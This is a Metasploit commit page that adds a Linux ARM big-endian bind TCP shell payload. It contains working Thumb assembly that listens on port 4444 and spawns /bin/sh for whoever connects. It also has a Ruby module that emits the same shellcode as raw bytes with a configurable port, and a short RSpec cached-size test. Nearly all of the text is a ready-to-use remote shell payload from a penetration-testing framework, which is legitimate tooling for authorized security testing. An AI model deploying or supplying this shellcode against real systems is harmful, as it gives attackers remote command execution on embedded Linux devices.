Land #6959, Add Linux ARM big endian ipv4 bind shellcode

bug/bundler_fix
Brent Cook 2016-07-05 00:41:00 -05:00
commit cfc368ab65
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4 changed files with 243 additions and 1 deletions

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@@
@
@ Name: single_sock_bind
@ Qualities: -
@ Authors: Balazs Bucsay <@xoreipeip>
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
@
@ Assemble with:
@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
@ Link with:
@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
@
@ Meta-Information:
@
@ meta-shortname=Linux Bind TCP
@ meta-description=Listen on a port for a connection and run a second stage
@ meta-authors=earthquake
@ meta-os=linux
@ meta-arch=armbe
@ meta-category=singles
@ meta-connection-type=bind
@ meta-name=bind_tcp
@@
.section .text
.global _start
_start:
.code 32
@ Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
@ _socket(2,1,0)
sub r2, r2, r2
add r1, r2, #1
add r0, r2, #2
lsl r7, r1, #8
add r7, r7, #0x19
svc 1
mov r6, r0
@ 1 uint8_t sin_len
@ 1 sa_family_t sin_family
@ 2 in_port_t sin_port
@ 4 struct in_addr sin_addr
@ 8 char sin_zero [8]
@ 00 02 5C11 00000000 00000000 00000000
@ 5c11 => 4444
@ _bind()
mov r2, #2
lsl r2, r2, #8
add r2, r2, #0x11
lsl r2, r2, #8
add r2, r2, #0x5C
sub r3, r3, r3
sub r4, r4, r4
sub r5, r5, r5
mov r1, sp
stm r1!, {r2-r5}
sub r1, #0x10
mov r2, #16
add r7, r7, #1
svc 1
@ _listen()
mov r0, r6
sub r1, r1, r1
add r7, r7, #2
svc 1
@ _accept()
mov r0, r6
sub r2, r2, r2
add r7, r7, #1
svc 1
mov r6, r0
@ _dup2()
sub r1, r1, r1
mov r7, #63
svc 1
mov r0, r6
add r1, r1, #1
svc 1
mov r0, r6
add r1, r1, #1
svc 1
_execve()
sub r2, r2, r2
mov r0, pc
add r0, #18
@ next intstruction terminates the string beneath the code "//bin/sh"
@ in case you want to say goodbye to the null character
@ str r2, [r0, #8]
str r2, [sp, #8]
str r0, [sp, #4]
add r1, sp, #4
mov r7, #11
svc 1
@ _exit()
sub r4, r4, r4
mov r0, r4
mov r7, #1
svc 1
.ascii "//bin/sh\0"
@.ascii "//bin/sh"

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit4
CachedSize = 118
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# Register command execution options
register_options(
[
OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]),
Opt::LPORT(4444)
], self.class)
end
def generate
cmd = (datastore['CMD'] || '') + "\x00"
bytehigh = (datastore['LPORT'].to_i >> 8).chr
bytelow = (datastore['LPORT'].to_i & 0xFF).chr
payload =
# turning on thumb mode
"\xe2\x8f\x60\x01" +# add r6, pc, #1 #
"\xe1\x2f\xff\x16" +# bx r6 #
# thumb mode on
# socket(2,1,0)
"\x1a\x92" +# sub r2, r2, r2 #
"\x1c\x51" +# add r1, r2, #1 #
"\x1c\x90" +# add r0, r2, #2 #
"\x02\x0f" +# lsl r7, r1, #8 #
"\x37\x19" +# add r7, r7, #0x19 #
"\xdf\x01" +# svc 1 #
"\x1c\x06" +# mov r6, r0 #
# bind()
"\x22\x02" +# mov r2, #2 #
"\x02\x12" +# lsl r2, r2, #8 #
"\x32"+bytehigh +# add r2, r2, #0xXX #
"\x02\x12" +# lsl r2, r2, #8 #
"\x32"+bytelow +# add r2, r2, #0xXX #
"\x1a\xdb" +# sub r3, r3, r3 #
"\x1b\x24" +# sub r4, r4, r4 #
"\x1b\x6d" +# sub r5, r5, r5 #
"\x46\x69" +# mov r1, sp #
"\xc1\x3c" +# stm r1!, {r2-r5} #
"\x39\x10" +# sub r1, #0x10 #
"\x22\x10" +# mov r2, #16 #
"\x37\x01" +# add r7, r7, #1 #
"\xdf\x01" +# svc 1 #
# listen()
"\x1c\x30" +# mov r0, r6 #
"\x1a\x49" +# sub r1, r1, r1 #
"\x37\x02" +# add r7, r7, #2 #
"\xdf\x01" +# svc 1 #
# accept()
"\x1c\x30" +# mov r0, r6 #
"\x1a\x92" +# sub r2, r2, r2 #
"\x37\x01" +# add r7, r7, #1 #
"\xdf\x01" +# svc 1 #
"\x1c\x06" +# mov r6, r0 #
# dup2()
"\x1a\x49" +# sub r1, r1, r1 #
"\x27\x3f" +# mov r7, #63 #
"\xdf\x01" +# svc 1 #
"\x1c\x30" +# mov r0, r6 #
"\x31\x01" +# add r1, r1, #1 #
"\xdf\x01" +# svc 1 #
"\x1c\x30" +# mov r0, r6 #
"\x31\x01" +# add r1, r1, #1 #
"\xdf\x01" +# svc 1 #
# execve()
"\x1a\x92" +# sub r2, r2, r2 #
"\x46\x78" +# mov r0, pc #
"\x30\x12" +# add r0, #18 #
"\x92\x02" +# str r2, [sp, #8] #
"\x90\x01" +# str r0, [sp, #4] #
"\xa9\x01" +# add r1, sp, #4 #
"\x27\x0b" +# mov r7, #11 #
"\xdf\x01" +# svc 1 #
# exit()
"\x1b\x24" +# sub r4, r4, r4 #
"\x1c\x20" +# mov r0, r4 #
"\x27\x01" +# mov r7, #1 #
"\xdf\x01" +# svc 1 #
cmd
end
end

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@ -1054,6 +1054,16 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'java/shell_reverse_tcp' reference_name: 'java/shell_reverse_tcp'
end end
context 'linux/armbe/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/armbe/shell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/armbe/shell_bind_tcp'
end
context 'linux/armle/adduser' do context 'linux/armle/adduser' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [